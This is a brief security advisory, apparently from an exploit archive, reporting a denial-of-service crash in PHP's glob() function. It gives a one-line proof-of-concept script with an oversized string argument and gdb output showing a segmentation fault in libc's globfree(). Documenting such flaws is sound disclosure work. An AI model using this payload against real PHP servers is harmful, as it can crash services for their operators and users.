"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."
glob() is vulnerable to a denial of service
Proof of concept example :
<?php
glob(str_repeat("A", 9638013));
?>
result:
(gdb) run ./3.php
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215031616 (LWP 11156)]
0xb79d3a5a in globfree () from /lib/tls/i686/cmov/libc.so.6
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